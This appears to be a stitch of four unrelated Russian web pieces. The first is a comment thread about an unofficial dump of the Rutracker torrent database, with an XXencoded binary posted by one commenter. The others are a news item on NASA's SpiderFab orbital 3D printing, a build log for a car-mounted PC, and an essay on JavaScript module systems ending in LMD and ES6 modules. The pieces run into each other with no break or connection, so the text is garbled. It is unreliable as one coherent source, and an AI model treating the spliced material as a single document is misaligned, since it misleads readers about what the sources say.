dbanet собрал программу для поиска под мак (бинарник). Из-за проблем с kdelibs не поддерживается отображение описаний раздач и работа с сжатым final.txt. Над чтением сжатых файлов идет работа.

Данный файл мной никак не проверялся, используйте на свой страх и риск!
ratnik0
Поправка: не под мак, а под OS/2.
fzfx
Может быть вам воспользоваться чем-то вроде libarchive?
ratnik0
dump_viewer.exe — Ошибка приложения
Ошибка при запуске приложения (0xc000007b).
Для выхода из приложения нажмите кнопку «ОК».
Windows 7 x64
ratnik0
Не помогло :(
encyclopedist
dump_viewer.exe зависит от kdecore.dll, msvcr100.dll, qtcore4.dll, qtgui4.dll, qtwebkit4.dll.
Похоже для запуска нужно ставить еще Qt и kdelibs.
Ryadovoy
DLL-файлы Qt и kdelibs и их зависимости включены в архив с бинарниками и в раздачи на трекерах. Если Вы запускаете программу из папки с DLL-файлами, то дополнительный софт ставить не требуется.
J_o_k_e_R
Залито на rutracker.
Ryadovoy
Буду делать базу торренты из твоих торрентов и раздавать на торрентах.
Ryadovoy
Если будут какие-то вопросы


Да, есть пара вопросов.

1. Почему базу Рутрекера нужно «спасать»? Ей сейчас реально что-то угрожает?

2. Если вдруг Рутрекер снова захотят закрыть, вы считаете, они не позаботились о сохранности базы на этот случай? Не умеют делать бэкапы?

3. База, которая не актуализируется, бесполезна, это очевидно. С задачей каталогизации и актуализации базы контента Рутрекер справляется неплохо. Вы так не считаете? Зачем тратить силы на создание какой-то альтернативы, вместо того, чтобы помогать самому Рутрекеру поддерживать то, что есть?

Пока ваша затея похожа на «скачать весь интернет». Прикольно, но пользы чуть. На TPB, помню, пару лет назад выкладывали такой «торрент всех торрентов», на Хабре даже писали об этом. Думаете, многие его скачали?
ratnik0
Спасибо за вопросы! Я частично повторю то, что писал J_o_k_e_R

1. Нужно. Лично я это понял, когда внезапно не нашел там любимых раздач, которые до этого висели и никому не мешали.

Как долго собираются потакать копирастерам? Если будет выбор между блокировкой сайта или удалением 10% раздач, кто знает, что выберут админы рутрекера. Не факт, что после удаления раздач получится вытрясти хотя бы их хеши. А если верховная власть объявит войну не только хентаю, но и аниме вообще? На чьей стороне тогда будет руководство трекера? Ни продвинутым, ни простым пользователям не придёт в голову скачивать с завирусованных сайтов то, что лежит на рутрекере.

2. Не уверен, так как бекап они зашифровали.

А вдруг там действительно белый шум? Открытое решение для такого важного бекапа лучше подходит. Лучше бы не шифровали, а подписали электронной подписью, чтобы можно было отличить поддельную таблицу от подлинной. Да и кто бы стал качать поддельную, если бы подлинная была официально выложена на самом рутрекере?

Сейчас наша база выложена у них, посмотрим за дальнейшей судьбой раздачи. Статус официальной она не получит, как было сказано выше rutracker.

После поломки один популярный вики-сайт восстанавливали из кеша гугла, потому что админы не умели делать бекапы. Надо подстраховать эту возможность в отношении рутрекера.

3. Актуализация планируется (раздел «Дальнейшие планы»).

Пост про аналогичную раздачу всей пиратской бухты. Не знаю, сколько именно людей скачали, но в данный момент на раздаче 78 сидов и это без учета DHT, как я понимаю. Если всё хорошо пойдет, их раздачу тоже обновим.
ratnik0
никто не мешает — положите, добавьте к раздаче
pavlinux
эта затея имела бы смысл, если бы был удобный клиент к базе — гибкий и быстрый поиск, автоматические апдейты, новинки разделов, возможность подгрузки дополнительной информации с рутрекера (сиды, каменты) и отправки — т.е. запостить камент, добавить в избранное и тп, интеграция с имдб и др сервисами.
ComodoHacker
1. Наша база не шифрованная. Видимо, это сообщение предназначалось rutracker.
2. Конфиденциальной информации нет ни у нас, ни в предыдущей раздаче нет. В том числе паролей.
3, 4. Уже есть клоны, но рутрекер живет.
5. Обновление базы планируется.
ratnik0
Вы не очень хорошо понимаете суть проблемы. Так вот нет никаких проблем что кто то перевыложит раздачу с Рутрекера на другой форум.
Проблема в том что у этого форума свой трекер, половина скачает тут, половина там, и облако раздачи будет раздроблено уже по двум трекерам. А ето значит что «живучесть», да и скорость этой раздачи сильно упадет, т.к трекеры не обмениваются своими таблицами пиров. Каждые видят только своих.

DHT лишь частично спасает ситуацию, т.к многие юзеры в РФ сидят за маскарадингом, да и вообще, работает на порядок медленнее.

Если бы они использовали наши трекеры (bt.rutracker.org и т.п ), хотя бы просто включали их в свои торренты как дополнительные т.п то проблем бы не было. Но никто этого не делает, в результате получаем пиры, размазанные по разным трекерам и не видящие друг друга.
Или например технология обмена пирами между трекерами, если бы она была — то трекер мог бы искать недостающие пиры на других трекерах.

Знаю даже людей, которые во все торренты скачанные где-то еще ручками подсовывают адреса наших трекеров (bt-bt3.rutracker.org).Говорят иногда помогает.

kosmovolki
А почему бы и вам и другим трекерам не дописывать глобальные ретрекеры (openbittorrent, publicbt, ccc.de)? Ещё помогает технология обмена трекерами между пирами. Ятестировал наугад многие хеши их базы на предмет нахождения пиров исключительно через DHT и во всех случаях пиры нашлись.
Nashev
Да я Вам больше скажу – с некоторых, казалось бы, совершенно посторонних трекеров скачиваются торренты, где написано «создатель: torrents.ru». :)
А по базе мне лично просто удобней искать, но это не значит, что я отвернусь от сайта.
kemsky
Есть у меня сервер один. С гигабитным каналом. Расскажите (дуб дубом я) куда что там положить, чтобы ваша раздача было в общем доступе.
KOLANICH
Положите в папочку все, что есть в раздаче — как максимум.
Папки из цифер и их содержимое, сохраняя структуру (или упаковав их в тар), а так же final.txt.gz как минимум.
ratnik0
Парни, а никто еще не заметил, что автор девушка? :)
bitbucket.org/ratnik/dump_viewer/commits/all
rutracker
Да не может быть!!! [/irony]
ratnik0
Вопрос — а нельзя добавить сюда все заблокированные типа рутора, какие там еще есть, сам TPB, тфайл, нонейм… И сделать общую базу?
VaKonS
хотелось бы увидеть статью «как я парсил рутрекер»…
kosmovolki
Я думаю, это не потянет на статью. Перебирались все раздачи, скачивали (нужна кука, чтобы выдавался торрент-хеш), отбирались живые (те, в которых присутствовал torrent-hash), остальные значения выдергивались регекспом и записывались в таблицу, описание сохранялось в файл. В названии раздачи HTML-конструкции заменялись на символы юникода. Файлы с описаниями добавлялись по несколько в архивы. (Добавлять каждый отдельный файл в архив будет медленно, а всё сразу архивировать в конце — будет слишком много файлов на диске к этому моменту.) Потом таблицу отсортировали по ID, нашли «пробелы» в 100 и более несуществующих раздач и все они перекачались ещё раз, на случай если трекер был недоступен, когда они первый раз скачивались, к примеру. Потом пересортировали таблицу по числу скачиваний. Всё, кажется. Если интересны скрипты, которые всё это делали, могу выложить.
J_o_k_e_R
Сижу на раздаче — 0 (ноль!) сидов, 13 пиров… Что случилось? Всех повязали?
renya
248 сидов 576 пиров… скачалось за секунды, раздается килотоннами
track
/me ушел открывать свой рутрекер :)
blueboar2
Может, пригодится кому – слепил для себя, ибо смотрю базу вручную. :)
Конвертер из base32 в обычный hex формат.
Скопировать в файл (.xxe), декодировать в .rar Total Commander'ом или чем-нибудь наподобие http://www.webutils.pl/XXencode.

begin 644 b32-ih.rar
hIa3m6Fc5+23kQkk+1E++++++++-80LG+Y0w+hU6++++4+++0NZXrerKHD2AR
hBEc+60+++46nAWpdO0tZS4I+wA9f0uQMHEyY2rkqvbdtPIcidaNNFfQ3ceAZ
hm8K-DwCe1a20hSpuEqykzGWHjqmDjJGAb58-WiWe1L0+n4fMXBCMT4CtYQ0+
hLwyNmVyC0j-tPAedjRppB9FqrVrAvpVu9Ty21FRX+OC0OcxJu3BZxEeNjzf+
hTIbFZQxVELAULAlUf7TBUd9L0bfuWtlJBGN1+E2TqbfGxxP-Vm3x3RXqQdx9
hRb2wv7ZrNmKyhFRyAh+bDU6kDwGw+n+zkCnCyjraKPNEafN6YONMPcbDFlfv
hi6zexlBVOsaK54Gi26+x0h1N+NR4qG9-A2W4BeONzUWGZPSyLgfCqLbT4WRg
hDD5Dr0IQeY20BGBI5Usw-Fkzll9cBYEZgvT9dS0Ge+VTyXLiSbi6rHnwO8ZP
hxydQ8FHeM0nY-Y-SC1mxFrMPcG-BGe9DK8B73YHgKqgZBGXkwDaENi9PUV9q
hwrJbanJXLRt3x0HCCSqelnhuV91Y9SDn+FG+c1fF-JW+7NFfrzzbMf7ftWQG
hxsMhk1EpyQPQzwKe6vZeLYCn-ZKgImaC2v4W4+rfunxHCGJ6dWPeFXq7RUgS
hYiP3L1r6u7NQ+asRwxqQ2IetdmewQL7wNKx6K+cbb7sIqR3A3c5CyIiSR2RD
hUS5x57yMRkzW0MTpvZm3DHC4v7rzIo7x7JUR-EODUGe0cMVHvYRRGCzCLiWn
hql8AKHTLQR6bBkc6mPcvMkZt-6iZRhC-6eX0HORCjC-KwASduRpkBGFmMmsx
hS8WcSbuyWT-dc27+AguE-DjA8Pk-sMK2QuxYbFxRTm+QdbTbKeKHm9iiz2Fl
hDPJNaiRm2JD0ikVabF1Swjt8+PpStPq1KT9IA1TeYa1H-yuLYBsziw2PRkN6
hU6ZLmP1vn+2zmjqRkfb0f3g+bBnPbMbj7r9LUp9giRk++9y6NzOdzxH2DLg+
1E+Q+
+
end
sum -r/size 26930/768

Контрольные суммы b32-ih.exe:
sha-1: fad617c37f5ed3a6844cb723551dfdacfc18a412
md5: 54b8c8e32330b793dc94f2040a5040d7

Выглядит примерно так:

PTPtupit
Спасибо! Ещё можно для этой цели использовать сайты вроде tomeko.net/online_tools/base32.php
ratnik0
Приглашаю заинтересованных в конференцию torrents-database@conference.jabber.no
Вместо того, чтобы делать конструкции на Земле, а потом разбирать их на мелкие кусочки, чтоб упаковать в ракету-носитель, NASA-вские инженеры реализуют радикально иной подход.
Они планируют заслать на орбиту 3d принтер, роботов и кучу сырья, а потом «печатать» детали и собирать их прямо в космосе.
Это позволит, по заявлению разработчиков, создавать конструкции в километровых масштабах.




Месяц назад, в NASA заявили, что они инвестируют в компанию, которая разрабатывает технологию "SpiderFab" для постройки больших объектов в открытом космосе.

В настоящее время если вам надо запустить на орбиту большой объект, используемый метод — построить этот объект на земле, разработав его таким образом, что его можно «упаковать» в ракету. Такой подход очень дорогостоящий, и размер объектов строго ограничен размерами ракеты-носителя.


Сравнение существующей технологии и проектируемой


SpiderFab



NASA заключило контракт с Tethers Unlimited, Inc. (TUI) на 500.000$ для продолжения разработок технологии, которая позволит использовать 3d принтер и роботизированную сборку для производства и соединения больших компонентов прямо на орбите.



Технология SpiderFab позволит создавать объекты в километровом масштабе.

Trusselator

Параллельно с «SpiderFab» идет разработка «Trusselator»`а — устройства, которое будет создавать стержневые системы для постройки больших солнечных батарей.
NASA планирует создавать антенны и телескопы размером с футбольное поле для поиска экзопланет подобных Земле и искать доказательства существования внеземной жизни.



Презентация проекта в PDF


Радиационная защита, напечатанная на 3d принтере

Предыстория



У меня toyota corolla 2003 года, с завода на официальные машинки ставили только кассетные магнитолы. Конечно, кассеты в магнитолу я не ставил ни разу, обходился радио и фм модулятором.
Не сказать, что я особо притязателен к музыке, но конечно хотелось чего-то более. Какие были варианты:
1. Поставить рамку на 1 или 2 дин и поставить обычную магнитолу.
2. Купить за 70$ родную, на eBay но уже с дисками. Но без мп3 :)
3. Купить за 600$ крутую, прямо под мою машину, со всем…

Но не один мне особо не нравился…
1. обычные магнитолы лишали бортового компьютера.
2. Шило на мыло :)
3. Дороговато и не очень нравились…

Вот и пришло решение поставить компьютер в машину. Вот что было ДО и ПОСЛЕ. Интересно? Добро пожаловать под хабракат =)
До: После:


Основная часть



Сразу, конечно же, я не бросился все делать, а довольно долго собирал все необходимое :)

Оказалось, что 60% у меня уже было или легко доставалось у друзей и родственников.

Немного опишу комплектацию — Конечно все началось с материнки:

Это PCM-9386. Основное преимущество это пассивное охлаждение, и очень маленький размер. Но процессор всего 600мгц. Память 512 мб.
Цена: все трофейное, уже было до начала проекта.

Как носитель инфы стоит флэшка КФ 4гиг на ней стоит система, и винчестер 40гиг 2,5.
Цена: тоже все было.

Питание.
Маленький блок питания от 12v. В машине не стоит, не каких преобразователей на 220в максимальное напряжение 12в.


Цена: около 20 — 30$ (мне достался бесплатно) :)

Звук
Конечно, нельзя подключить автомобильные колонки прямо к компу, пришлось выдумать звуковую схему:
USB звуковая + фильтр по питанию ДАЛЕЕ еще аудио фильтр (изолятор земли:) ДАЛЕЕ Усилитель ДАЛЕЕ колонки.
Не было задачи сделать супер звук, как я уже говорил до этого я ездил с фм модулятором :) и колонки остались родные.

USB Sound 5.1

Цена: 16$ на eBay
Платка реально выдает 5.1, но в машине используется только стерео. Плата бралась на вырост и с надеждой избавится от помех. Кстати помехи это отдельная тема — перед установкой о них даже не задумываешься, но при тестовом включении понимаешь, что это жесть, слышишь все: как включается винчестер и работает камп, обороты двигателя — генератор.

Долго игрался с разными фильтрами, полностью от помех избавил только этот:

Цена:8$ все тамже :)
По поводу этого фильтра, а точнее подобных ему, много обсуждений в интернете, что он искажает звук, но особых искажений я не заметил.

Усилитель:

Китайское чудо на 4 канала, и якобы огромную мощность. Вместо штатной магнитолы хорошо играет, по моему мнению…
Цена: 26$ ebay

Купил рамку под 2 дин.

Цена: 15$

Самая дорогая часть это монитор:

Цена: 320$
Это монитор для ленивых. Он точно под 2 дин, с точскрином, 2 ав входами, автоматическим включением(не надо каждый раз включать ручками), и автоматическим переключением на заднюю камеру.

Также был куплен юсб хаб с внешним питанием.

Цена:19$

И беспроводная клавиатура с трекболом.
Фотки не нашел.
Цена: 40$ вроде…

USB GPS — уже был, спрятал под торпедой, принимает нормально.
USB to OBD2 — купил за 10$ полгода назад, считывает показания датчиков в реальном времени и коды ошибок.

Еще немного фоток:


Процесс установки

Работающая система

Ставим Винду на комп (кот в комплект поставки не входит =)

Вид на материнку сверху (видим карту памяти CF)

Cтавим драйвера на что-то… =)


Заключение


Вот вроде и все. Еще всякие кнопочки, провода, предохранители, и прочая мелочевка…

Корпус для материнки сделал из корпуса от 16 портового свича (железная коробка). Корпус находится прямо за монитором.
Усилитель расположился в бардачке между сидениями. Для этого его пришлось немного уменьшить…
Поставил оболочку для удобного управления с тачскрина.
Какие основные функции реализованы:
— Мультимедиа — музыка, клипы, фильмы…
— GPS — стоит iGo 8
— OBD — слежение за параметрами автомобиля.
— Интернет — можно следить, где находится машина по гугл картам, как из машины, так и из дома.

Какие будут реализованы:
— Камера заднего вида (все готово чтоб поставить, но камеру я сломал)
— Видео регистрация
— Наблюдение за давлением в шинах — пока устройства под камп дороговаты ~ 250$, немного подождем.
— Радио, да радио пока нет :) купил фм радио, но оно плохо принимает.

Напоследок:



UPD: добавил немного фоток :)
UPD2: Автора идеи — ivbar пригласили на Хабр, спасибо хабраюзеру danin!


На момент написания этой статьи в JavaScript еще не существовало официальной модульной системы и все эмулировали модули как могли.

Модули или подобные структуры это неотъемлемая часть любого взрослого языка программирования. Просто иначе никак. Модули позволяют ограничить область видимости, позволяют реиспользовать части приложения, делают приложение более структурированным, отделяют ресурсы от шума и вообще делают код нагляднее.

Вот в JavaScript своя атмосфера — в языке нет официальных модулей, более того все файлы лежат удаленно, один поток приложения. Приходится постоянно решать какие-то странные проблемы с загрузкой, хитро паковать модули в один файлы, чтобы ускорить время загрузки. Бывает, что нужно воевать с двойными стандартами, адаптировать модули другого формата.

Дело в том, что раньше не думали, что на JavaScript можно делать огромные проекты, а не просто «пропатчить DOM», поэтому о модулях не думали. Да и вообще не думали о будущем. И тут Внезапно будущее нагрянуло! Все вроде-бы уже есть, а модули в JavaScript, мягко говоря, запаздывают. Поэтому разработчикам приходится крутиться и выдумывать какие-то эмуляторы модульности.

Думаю многие из вас читали прекрасную статью Addy Osmani Writing Modular JavaScript With AMD, CommonJS & ES Harmony, которая стала одной из глав его книги Learning JavaScript Design Patterns в этой статье рассказывается про «современные» JavaScript модули или же читали достаточно старую статью JavaScript Module Pattern: In-Depth 2010 года про «старые» модули.

Я не буду переводить эти статьи и не буду делать из них солянку. В своей статья я хочу рассказать о моем модульном пути. О том как я проделал путь от «старых» модулей к «новым» и что использую сейчас и почему.

Эта статья состоит из 3 частей: Путь модуля, Матчасть по кишкам модулей и Распространенные виды модулей

tl;dr
Я прошел длинный путь от «не модулей» через AMD и browserify к LMD, который удовлетворяет все мои потребности и делает жизнь проще. В будущем делаю ставку на ECMAScript 6 Modules.

Путь модуля


Этап 1: Без модулей

В те времена, когда кода JavaScript было мало я вполне обходился и без модулей. Тогда они были мне не нужны. Введение модульной системы превратили бы мои 50 строк кода в 150. И быстренько пропатчить DOM я мог и без модулей. Я вполне обходился пространствами имен и не использовал сборку, а минификаторы тогда не были развиты.

Модуль
MyNs.MyModule = function () {};
MyNs.MyModule.prototype = {
	// ...
};

Сборка
<script src="myNs.js"/>
<script src="myNs/myModule.js"/>

Прогресс моего приложения шагнул еще на пол шага вперед, когда я стал собирать свои файлы с помощью cat
$ cat js/*.js > build.js


Этап 2: Препроцессинг

Прогресс не стоит на месте и мои 50 строк кода постепенно превратились в 1500, я стал использовать сторонние библиотеки и их плагины. И приложение, которые я писал можно было вполне назвать Rich Internet Application. Деление на модули и их частичная изоляция решала мои проблемы того времени. Для сборки я стал использовать препроцессоры. Модулей было много, у них были зависимости, а разрешать зависимости руками мне не очень хотелось, поэтому препроцессинг тогда был незаменим. Я использовал пространства имен, хотя с ними было много возни:
if (typeof MyNamespace === 'undefined') {
    var MyNamespace = {};
}

и лишней писанины:
new MyNamespace.MyConstructor(MyNamespace.MY_CONST);
// vs
new MyConstructor(MY_CONST);

и минификаторы того времени плохо сжимали такой код:
new a.MyConstructor(a.MY_CONST);
// vs
new a(b);

Мои модули шагнули еще чуть-чуть вперед, когда я стал применять тотальную изоляцию и выкинул пространство имен, заменив его областью видимости. И стал использовать вот такие модули:
include('deps/dep1.js');

var MyModule = (function () {
	var MyModule = function () {};
	MyModule.prototype = {
		// ...
	};

	return MyModule;
})();

И вот такую сборку
(function () {
include('myModule.js');
}());

И тот же препроцессинг
$ includify builds/build.js index.js

Каждый модуль имеет локальную область видимости и вся сборка обернута еще одной IEFE. Это позволяет оградить модули друг от друга и все приложение от глобалов.

Этап 3: AMD


В один прекрасный день, читая Reddit, я наткнулся на статью о AMD и RequireJS.

Небольшое отступление. На самом деле идея AMD была заимствована из YUI Modules и хорошенько допилена. Для использования и декларации модулей теперь не нужно было выписывать лишние символы, конфигурирование так же стало проще.

Было
YUI().use('dep1', function (Y) {
    Y.dep1.sayHello();
});

Стало
require(['dep1'], function (dep1) {
    dep1.sayHello();
});

Познакомившись с AMD я понял, что до этого времени я все делал не так. Всего 2 функции require() и define() и все мои проблемы были решены! Модули стали сами загружать свои зависимости, появился вменяемый экспорт и импорт. Модуль разделился на 3 части (импорт, экспорт, тело модуля), которые можно было легко понять. Так же стало легко найти те ресурсы, которые ему нужны и которые он экспортирует. Код стал структурированным и более чистым!

Модуль
define('myModule', ['dep1', 'dep2'], function (dep1, dep2) {
	var MyModule = function () {};
	MyModule.prototype = {
		// ...
	};

	return MyModule;
});

Сборка
$ node r.js index.js bundle.js

Но не все так просто…

Этап 4: Разочарование в AMD

То, что я показал выше — идеальный модуль и идеальная сборка. Такого в реальном проекте не бывает. А бывает так, что зависимостей у модуля очень много. Тогда он превращается в что-то такое:
require(['deps/dep1', 'deps/dep2', 'deps/dep3', 'deps/dep4', 'deps/dep5', 'deps/dep6', 'deps/dep7'],
function (     dep1,        dep2,        dep3,        dep4,        dep5,        dep6,        dep7) {
    return function () {
        return dep1 + dep2;
    };
});

Таким модулем можно пользоваться, но с ним очень много возни. Чтобы побороть эту проблему можно переделать такой модуль на Simplified CommonJS. Еще в этом случае можно совсем не писать define() обертку и создавать честный CommonJS модули, а потом их собирать используя r.js.
define(function (require, module, exports) {
    var dep1 = require('dep1'),
        dep2 = require('dep2'),
        dep3 = require('dep3'),
        dep4 = require('dep4'),
        dep5 = require('dep5'),
        dep6 = require('dep6'),
        dep7 = require('dep7');

    return function () {
        return dep1 + dep2;
    };
});


Формат Simplified CommonJS для RequireJS «не родной», просто разработчиком пришлось его сделать. Если начать писать такие модули, то RequireJS начнет искать зависимости данного модуля регулярками.



И может что-то не найти:
require("myModule//");
require("my module");
require("my" + "Module");
var require = r;
r("myModule");

Этот код валидный, но тут нет ни одного модуля. Конечно пример абстрактный и некоторые имена надуманы, но случаи с динамическим конструированием имени модуля мне часто попадались, например, с шаблонами или какими-либо фабриками.

RequireJS, конечно, имеет для этого решение — прописать каждый такой модуль в конфиге:
({
    "paths": {
    	"myModule": "modules/myModule.js"
    }
})

Еще бывает так, что таких модулей много(шаблоны) и прописывать каждый раз новый модуль в конфиг не хочется и поэтому код начинает обрастать всякой магией вроде динамической генерации конфига. А не использовать «динамические модули» глупо при доступных возможностях.

Я стал писать честные CommonJS модули, использовать сборку через r.js даже в девелопменте. Отказ от AMD так же позволил использовать данные модули с Node.js без какой-либо магии. Я начал понимать, что данный инструмент мне в принципе подходит, но с костылями и дополнительной полировкой.

Те возможности динамический загрузки модулей, которую мне предлагал RequireJS мне были не нужны. Я хотел быть уверенным в том, что у меня будет максимально похожий код в девелопменте и продакшене, поэтому асинхронная догрузка модулей в девелопменте мне не подходила и именно поэтому я собирал свои модули в 1 файл.

Какая-то часть проекта загружалась при старте (1 запрос) остальные же части догружались по требованию. И догружались они не кучей мелких запросов, а одним большим (сборка нескольких модулей в 1м файле). Это позволяло и экономить время и трафик и уменьшало риски сетевых ошибок.

Еще бывает так, что нужно сделать несколько сборок. Например, приложение с русской локалью для среды тестинг или приложение оптимизированное под IE с английским языком для корпоративной сети. Или приложение оптимизированное под iPad для Украины с отключенной рекламой. Царила анархия и копипаст…

В философии RequireJs мне не нравилось то, что require() — это универсальный завод по производству любых ресурсов. require() делает абстракцию над плагинами и уже загруженными модулями если плагин не был по какой-то причине подключен, то как-то не совсем явно загружает его, а потом с помощью него загружает ресурс.
require(['async!i18n/data', 'pewpew.js', 'text!templates/index.html'],
fucntion (data, pewpew, template) {

});

В проектах где ресурсы однообразны или ресурсов не очень много — это может быть ок.

Этап 5: Поиск модуля

Я понял, что так жить больше нельзя… но знал, что же мне нужно:

1 Модуль должен быть CommonJS

Достаточно частый случай, когда нужо запустить один и тот же модуль и под Node.js и под JS@DOM. Чаще всего это какие-то модули не связанный с внешней средой (файловая система/DOM) или абстрагированные от нее части: шаблоны (наиболее распространенная часть), функции работы с временем, функции форматирования, локализация, валидаторы…

Когда пишешь AMD и нужно что-то реиспользовать у тебя 2 пути: переписать AMD на CJS или использовать node-require. Чаще выбирают второй вариант потому как ничего менять не нужно. НО. Тогда появляется модульная каша, странная абстракция над уже существующей системой загрузки модулей в Node.js. Мне очень не нравились AMD модули в Node.js.

CJS кроме совместимости с Node.js лишен обертки define() и лишнего отступа, форматирующего тело функции. Его require и export нагляднее и ближе к ES6 Modules чем define()-way. Сравните сами:

ES6 Modules
import "dep1" as dep1;
import "dep2" as dep2;

export var name = function () {
    return dep1 + dep2;
};

CommonJS/Modules
var dep1 = require("dep1"),
	dep2 = require("dep2");

exports.name = function () {
    return dep1 + dep2;
};

AMD
require(['dep1', 'dep2'], function (dep1, dep2) {
	return {
		name: function () {
			return dep1 + dep2;
		}
	};
});

И если так получиться, что мне придется вернуться к AMD, то это будет совсем не больно — мне нужно будет всего лишь прописать одну строчку в конфиге, чтобы r.js оборачивл мои CJS модули.

2 Сборщик модулей

Сегодня собирается все, даже если вы не пишете CoffeeScript, то вы так или иначе проверяете, собираете, сжимаете ваши скрипты.

Для адаптации CJS модуля нужна обертка, которую может делать за меня сборщик. Сборщик так же мог бы проверить меня: все ли модули существуют, не ошибся ли я в имени модуля, все ли я плагины задекларировал.

В результате сборки я хотел бы получить 1 файл, который содержит и мои модули и скрипты, необходимые для их работы.

Делить приложение на «мои скрипты» и «не мои» «во благо кэширования» (подключать код загрузчика отдельно и мой код отдельно) не имело для меня смысла потому как я пишу в основном одностраничные веб-приложения, да и кэш сегодня может вымываться за минуты. Сборка все-в-одном так же позволит избавиться от проблем совместимости с «загрузчиком модулей» при обновлении.

3 Гибкая система конфигурации: зависимости, наследование, миксины

Как я уже писал, в мои приложениях бывает очень много сборок под разные устройства, браузеры, среды и локали. Я очень хотел получить ненавязчивую систему конфигурирования без лишнего копипаста и писанины.

Например есть конфиг prod от него наследуется конфиг dev и подменяет какие-то модули. Так же есть конфиги ru и en, которые мы можем подмешать prod+en, dev+ru. Теперь вместо всяких «common» и копипаст (prod-ru, prod-en, dev-ru, dev-en) мы имеем всего 4 «сухих» конфига: prod, dev, ru, en.

4 CLI

Это интерфейс к тому роботу, который делает половину работы за тебя. Если он очень перегруженный или нужно --писать длинные --команды-для-работы, то это начинает напрягать и влечет за собой появление Makefile и трату кучи времени на старт этого самого робота, который должен экономить время.

Любые действия, которые повторяются часто должны максимально упрощаться. Должны использоваться значения по умолчанию, одинаковые имена аргументов у сабкоманд. В общем чтобы разработчик помнил и писал минимум.

Сравните
$ tool make -f path/to/build_name.js -o path/to/build.js

и
$ tool make build_name

И вот когда ты в очередной раз выписываешь эту длинную команду в консоли без автокомплита ты начинаешь ненавидеть этот инструмент. Понятно, что 1 вариант возможно более явный, чем второй, но уж очень походит на инструмент графомана.

Этап 6: browserify




browserify это инструмент, позволяющий запускать любые модули Node.js в браузере.

Просто browserify main.js > bundle.js и работает.

Поработав с browserify какое-то время я осознал его истинный use-case: адаптация среды Node.js для работы в браузере. browserify прекрасен для своих целей, но не для тех реалий в который создаются веб-приложения. Когда есть не адаптированные сторонние модули, когда есть динамическая загрузка больших частей приложения. Приходилось много колдовать в консоли, чтобы все работало.

Этап 7: LMD




Я очень не хотел, но мне пришлось начать работать над LMD — инструментом, который сделает мою жизнь проще. Подгонять существующие инструменты под мои цели я больше не мог.

В итоге был разработан инструмент, который занимался сборкой скриптовой части моих проектов.

Вот несколько особенностей, которые легли в основу LMD:

1 Сборка из конфига

Так как наличие конфига неизбежно, то почему бы ни основываться на нем?! Поведение lmd полностью определяется конфигом в нем прописаны и модули и плагины и пути экспорта результирующего файла. Конфиги можно наследовать и миксовать с другими конфигами.

Так выглядит конфиг
{
	"name": "My Config",
	"root": "../js",
	"output": "../build.lmd.js",
	"modules": {
		"main": "index.js"
	},
	"optimize": true,
	"ie": false,
	"promise": true
}

Если у вас сотня модулей — вам не нужно прописывать каждый модуль в конфиг! Достаточно прописать «rewrite rule» для однотипных модулей.
{
	"modules": {
		"main": "index.js",
		"<%= file %>Template": "templates/*.html"
	}
}

И на крайний случай вы можете написать конфиг в виде CJS модуля и сгенерирвать все на лету.

2 Абстрактная ФС: Отсутствие привязки к файловой системе

Привязка к ФС с одной стороны это естественно и HTTP сервер может однозначно отражать файловую систему. Но стоит помнить, что в браузере нет файловой системы и HTTP сервер поставляет ресурсы, а код уже понимает, что вот данный текст по данному URL — это модуль. Ресурсы могут перемещаться, выкладываться на CDN под произвольными именами.

Введение абстрактной файловой системы позволяет делать абстракции над модулями. Например у вас есть модуль locale под которым может скрываться как locale.ru.json так и locale.en.json за счет того, что эти модули имеют одинаковый интерфейс мы можем прозрачно менять один файл другим.

Вы вольны называть ваши модули как вам угодно и подключать не думая о относительных путях. Если у вас много модулей и вы забыли какой файл скрывается под данным модулем, то вам достаточно использовать lmd info:
$ lmd info build_name | grep module_name

info:    module_name                  ✘       plain    ✘    ✔      ✘        ✘
info:    module_name                   <- /Users/azproduction/project/lib/module_name.js

3 Не перегруженный require() и плагины

Мне не нравилось, что require это фабрика, поэтому его поведение было немного переписано. Теперь просто require() загружает модули из абстрактной файловой системы и больше ничего. А require.*() будет использовать плагин * и делать же свое дело. Например, require.js() загрузит любой JavaScript файл по аналогии с $.loadScript.

Плагины нужно явно прописывать в конфиг, однако LMD поможет вам не забыть включить плагин, если вы пишете «правильный код».

Например, в этом коде LMD поможет не забывть 3 плагина: css, parallel и promise
require.css(['/pewpew.css', '/ololo.css']).then(function () {

});

А вот в этом коде только плагин js
var js = require.js;

js('http://site.com/file.js').then(function () {

});

Вы можете включать и отключать плагины, используя наследование и миксы конфигов.

4 Адаптация модулей

Бывает так, что в проекте есть какие-то файлы, которые сложно назвать модулями, но их нужно использовать как и другие модули. LMD может легко адаптировать любой файл и сделать из него CJS модуль во время сборки. Кроме этого для использования текстовых файлов(шаблоны) и JSON-файлов не нужно прописывать ни плагины (смотри плагин text для RequireJS) ни адаптеры. В отличии от того же RequireJS LMD превращает данные файлы в честные модули, а не адаптирует их с shim.

Сегодня LMD имеет кучу плагинов и примеров работы с ними и встроенную систему аналитики работы сборки. Ну и, конечно, LMD делает мою жизнь проще. Дальнейший рассказ про LMD выходит за границы моей статьи. В следующий раз я напишу статью с примером проекта на LMD.

Будущее?




Да, конечно, это ES6 Modules. Их формат схож со многими форматами модулей из других языков и соответствуют ожиданиям новичков в JavaScript. В них есть все необходимые атрибуты модуля: импорт, экспорт, обертка модуля (на случай если нужно конкатенировать несколько файлов). Они прекрасно транслируются в CJS и AMD. Однако в том виде в котором они есть сейчас в черновике их сложно использовать в реальных проектах.

Import статический. Нужно использовать сборщик модулей, чтобы ускорить старт приложения. Импорт внешнего модуля будет блокирующим:
<script>
import {get, Deferred} from "http://yandex.st/jquery/3.0/jquery.min.js";

get('/').then(console.log.bind(console));
</script>

Это практически аналогично
<script src="http://yandex.st/jquery/3.0/jquery.min.js">
<script>
var get = $.get,
    Deferred = $.Deferred;

get('/').then(console.log.bind(console));
</script>

В свою очередь, блокировку можно снять, используя <script async/>

Динамическая загрузка модулей есть, но она сейчас не совершенная:
Loader.load('http://json.org/modules/json2.js', function(JSON) {
	alert(JSON.stringify([0, {a: true}]));
});

Надеюсь, что загрузчик модулей сможет грузить сборку из нескольких модулей. Тогда этого будет достаточно.

Стандарт сейчас активно обсуждается и то, что я вам сегодня показал, возможно завтра будет выглядеть не так (но маловероятно). Сегодня модули и синтаксис импорта/экспорта похож на тот, который вы привыкли видеть в других языках. Это хорошо так как JavaScript используют многие разработчики и им больно видеть дикие хаки вроде AMD. Сегодня одно из направлений развития ECMAScript направлено на превращение языка в своеобразный асемблер для трансляции из других языков. И модули неотъемлемая часть этого направления.
